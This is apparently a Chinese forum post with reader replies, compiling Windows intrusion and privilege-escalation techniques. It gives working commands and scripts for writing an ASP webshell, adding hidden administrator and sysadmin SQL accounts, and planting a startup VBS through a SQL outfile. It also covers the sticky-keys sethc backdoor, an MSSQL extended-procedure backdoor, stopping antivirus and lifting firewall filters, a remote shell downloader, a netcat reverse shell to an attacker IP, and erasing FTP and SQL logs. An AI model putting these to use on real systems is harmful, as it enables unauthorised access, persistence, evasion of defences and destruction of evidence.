windows渗透与提权：技巧总结片

Jumbo

旁站路径问题：

1、读网站配置。

2、用以下VBS：

1. On Error Resume Next
   
2. 
   
3. If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then
   
4. 
   
5. MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo"
   
6. 
   
7. WScript.Quit
   
8. 
   
9. End If
   
10. 
    
11. Set objservice = GetObject("IIS://LocalHost/W3SVC")
    
12. 
    
13. For Each obj3w In objservice
    
14. 
    
15. If IsNumeric(obj3w.Name) Then
    
16. 
    
17. Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
    
18. 
    
19. Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
    
20. 
    
21. If Err <> 0 Then WScript.Quit (1)
    
22. 
    
23. WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"
    
24. 
    
25. For Each Binds In OService.ServerBindings
    
26. 
    
27. Web = "{ " & Replace(Binds, ":", " } { ") & " }"
    
28. 
    
29. WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "")
    
30. 
    
31. Next
    
32. 
    
33. WScript.Echo "Path : " & VDirObj.Path
    
34. 
    
35. End If
    
36. 
    
37. Next

复制代码

3、iis_spy 列举（注：需要支持ASPX，反IISSPY的方法：将 activeds.dll，activeds.tlb 降权）。

4、得到目标站目录，不能直接跨的。可以通过“echo  ^<%execute(request(“cmd”))%^> >>X:\目标目录\X.asp”或者“copy 脚本文件 X:\目标目录\X.asp”像目标目录写入webshell，或者还可以试试type命令。

网站可能目录（注：一般是虚拟主机类）：
data/htdocs.网站/网站/

CMD 下操作 VPN 相关知识、资料：

#允许administrator拨入该VPN：
  netsh ras set user administrator permit

#禁止administrator拨入该VPN：

  netsh ras set user administrator deny

#查看哪些用户可以拨入VPN：

  netsh ras show user

#查看VPN分配IP的方式：
netsh ras ip show config

#使用地址池的方式分配IP：
  netsh ras ip set addrassign method = pool

#地址池的范围是从192.168.3.1到192.168.3.254：
  netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254

Cmd、Dos 命令行下添加 sql 用户的方法：

需要有管理员权限，在命令下先建立一个“c:\test.qry”文件，内容如下：


exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'

然后在DOS下执行：cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法：

在删掉了 net.exe 和不用 adsi 之外，新的加用户的方法。代码如下：

js:

1. var o=new ActiveXObject( "Shell.Users" );
   
2. 
   
3. z=o.create("test") ;
   
4. 
   
5. z.changePassword("123456","")
   
6. 
   
7. z.setting("AccountType")=3;

复制代码

vbs:

1. Set o=CreateObject( "Shell.Users" )
   
2. 
   
3. Set z=o.create("test")
   
4. 
   
5. z.changePassword "123456",""
   
6. 
   
7. z.setting("AccountType")=3
   

复制代码

Cmd 访问控制权限控制：

命令如下：

  cacls c: /e /t /g everyone:F           #c盘everyone权限

  cacls "目录" /d everyone               #everyone不可读，包括admin

备注：

反制方法，在文件夹安全设置里将 Everyone 设定为不可读，如果没有安全性选项：工具 – 文件夹选项 – 使用简单的共享去掉即可。

3389 相关，以下配合PR更好：

a、防火墙TCP/IP筛选.（关闭：net stop policyagent & net stop sharedaccess）

b、内网环境（lcx.exe）

c、终端服务器超出了最大允许连接（XP 运行：mstsc /admin；2003 运行：mstsc /console）

1.查询终端端口：

  REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

2.开启XP&2003终端服务：


  REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

3.更改终端端口为2008(十六进制为：0x7d8)：



  REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
  REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f

4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制：
  REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f

1. create table a (cmd text);
   
2. 
   
3. insert into a values ("set wshshell=createobject (""wscript.shell"")");
   
4. 
   
5. insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
   
6. 
   
7. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");
   
8. 
   
9. select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
   

复制代码

BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）

关闭常见杀软（把杀软所在的文件的所有权限去掉）：

处理变态诺顿企业版：

1. create table a (cmd text);
   
2. 
   
3. insert into a values ("set wshshell=createobject (""wscript.shell"")");
   
4. 
   
5. insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
   
6. 
   
7. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");
   
8. 
   
9. select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
   

复制代码

麦咖啡：
net stop "McAfee McShield"

Symantec病毒日志:

  C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Logs

Symantec病毒备份:

  C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Quarantine

Nod32病毒备份:


  C:\Docume~1\Administrator\Local Settings\Application Data\ESET\ESET NOD32 Antivirus\Quarantine

Nod32移除密码保护:

删除“HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info\PackageID”即可

安装5次shift后门，沾滞键后门，替换SHIFT后门：

5次SHIFT，沾滞键后门：

1. copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
   
2. 
   
3. copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
   
4. 
   
5. copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y

复制代码

替换SHIFT后门：

1. copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
   
2. 
   
3. copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
   
4. 
   
5. copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
   

复制代码

添加隐藏系统账号：

1、执行命令：“net user admin$ 123456 /add&net localgroup administrators admin$ /add”。

2、导出注册表SAM下用户的两个键值。

3、在用户管理界面里的 admin$ 删除，然后把备份的注册表导回去。

4、利用 Hacker Defender 把相关用户注册表隐藏。

安装 MSSQL 扩展后门：

USE master;


EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';

GRANT exec On xp_helpsystem TO public;

处理服务器MSFTP日志：

在“C:\WINNT\system32\LogFiles\MSFTPSVC1\”下有 ex011120.log / ex011121.log / ex011124.log 三个文件，直接删除 ex0111124.log 不成功，显示“原文件…正在使用”。

当然可以直接删除“ex011120.log / ex011121.log”。然后用记事本打开“ex0111124.log”，删除里面的一些内容后，保存，覆盖退出，成功。

当停止“msftpsvc”服务后可直接删除“ex011124.log”。

MSSQL查询分析器连接记录清除：

MSSQL 2000 位于注册表如下：

  HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers

找到接接过的信息删除。

MSSQL 2005 是在：
  C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat

防BT系统拦截技巧，可以使用远程下载shell：

1. <%
   
2. 
   
3. Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl)
   
4. 
   
5. Dim Ads, Retrieval, GetRemoteData
   
6. 
   
7. On Error Resume Next
   
8. 
   
9. Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
   
10. 
    
11. With Retrieval
    
12. 
    
13. .Open "Get", s_RemoteFileUrl, False, "", ""
    
14. 
    
15. .Send
    
16. 
    
17. GetRemoteData = .ResponseBody
    
18. 
    
19. End With
    
20. 
    
21. Set Retrieval = Nothing
    
22. 
    
23. Set Ads = Server.CreateObject("Adodb.Stream")
    
24. 
    
25. With Ads
    
26. 
    
27. .Type = 1
    
28. 
    
29. .Open
    
30. 
    
31. .Write GetRemoteData
    
32. 
    
33. .SaveToFile Server.MapPath(s_LocalFileName), 2
    
34. 
    
35. .Cancel()
    
36. 
    
37. .Close()
    
38. 
    
39. End With
    
40. 
    
41. Set Ads = Nothing
    
42. 
    
43. End Sub
    
44. 
    
45. eWebEditor_SaveRemoteFile "your shell's name", "your shell'urL"
    
46. 
    
47. %>

复制代码

去除TCP IP筛选：

TCP/IP筛选在注册表里有三处，分别是：

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip


HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用以下命令来导出注册表项：
  regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

然后再把三个文件里的：
  “EnableSecurityFilters"=dword:00000001”

改为：
“EnableSecurityFilters"=dword:00000000”

再将以上三个文件分别用以下命令导入注册表即可：
regedit -s D:\a.reg
regedit -s D:\b.reg

regedit -s D:\c.reg

Webshell 提权小技巧：

Cmd路径：
c:\windows\temp\cmd.exe

Nc 也在同目录下，例如反弹cmdshell：

  "c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"

通常都不会成功。

而直接在 cmd 路径上输入：

c:\windows\temp\nc.exe

命令输入：
  -vv ip 999 -e c:\windows\temp\cmd.exe

却能成功。。这个不是重点

我们通常执行 pr.exe 或 Churrasco.exe 的时候也需要按照上面的方法才能成功。

命令行调用 RAR 打包：

  rar a -k -r -s -m3 c:\1.rar c:\folde

没看完~~~~~~ 先顶，好同志

找到好贴不容易，我顶你了，谢了